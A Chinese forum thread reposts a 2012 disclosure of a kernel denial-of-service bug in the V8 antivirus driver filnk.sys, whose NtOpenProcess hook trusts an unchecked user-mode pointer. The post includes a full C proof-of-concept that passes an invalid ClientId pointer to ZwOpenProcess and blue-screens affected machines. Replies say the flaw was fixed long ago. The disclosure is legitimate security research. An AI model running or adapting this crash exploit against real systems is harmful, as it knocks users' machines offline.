无意发现的，没这个问题了吧？

627606141

我只是个菜鸟、、但是在费尔区没有发现类似文章，很早了。12年的了，应该没这问题了吧

http://blog.csdn.net/hu3167343/article/details/7597602 原帖地址


V8杀毒软件的动态防御驱动filnk.sys在内核对多个系统函数进行了hook，但是对Ring3传递进来的参数都没有任何的有效性检查就直接使用了。因此，造成了内核拒绝服务漏洞。

这里以其Hook的NtOpenProcess为例，函数偏移6A8C0，NtOpenProcess原型如下：

[cpp] view plaincopy
NTSTATUS  
NtOpenProcess (  
    __out PHANDLE ProcessHandle,  
    __in ACCESS_MASK DesiredAccess,  
    __in POBJECT_ATTRIBUTES ObjectAttributes,  
    __in_opt PCLIENT_ID ClientId  
    )  
hook函数出问题部分如下：


如上图可以看出，Ring3传递进来的ClientId参数，其在内核中就直接使用了，并没有做任何有效性检查。


测试代码：

[cpp] view plaincopy
/*
     作者：莫灰灰
     博客：http://blog.csdn.net/hu3167343
     描述：费尔V8智能杀毒内核拒绝服务漏洞测试程序
*/  
#include "stdafx.h"  
#include <windows.h>  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
        HMODULE hMod = LoadLibrary(L"ntdll.dll");  
  
        if (hMod)  
        {  
                PVOID p = GetProcAddress(hMod, "ZwOpenProcess");  
  
                if (p)  
                {  
                        printf("Your System Will Crash, Press any key to Continue.\n");  
                        getchar();  
  
                        __asm{  
                                push 0x80000000  
                                push 0  
                                push 1  
                                push 0  
                                call p  
                        }  
                }  
        }  
  
        return 0;  
}  
ps：在安装了费尔V8，并且开启了主动防御的机器上运行上述程序，即刻蓝屏重启。

wzyfish

这个好像V8刚出来时论坛有人发过一个小程序，不过对于现在的版本来说都是过去式了。

zandalong

不是很清楚，不过这么久了，官方不会放着漏洞不管，毕竟客户端还在更新。

夜微凉

早已修复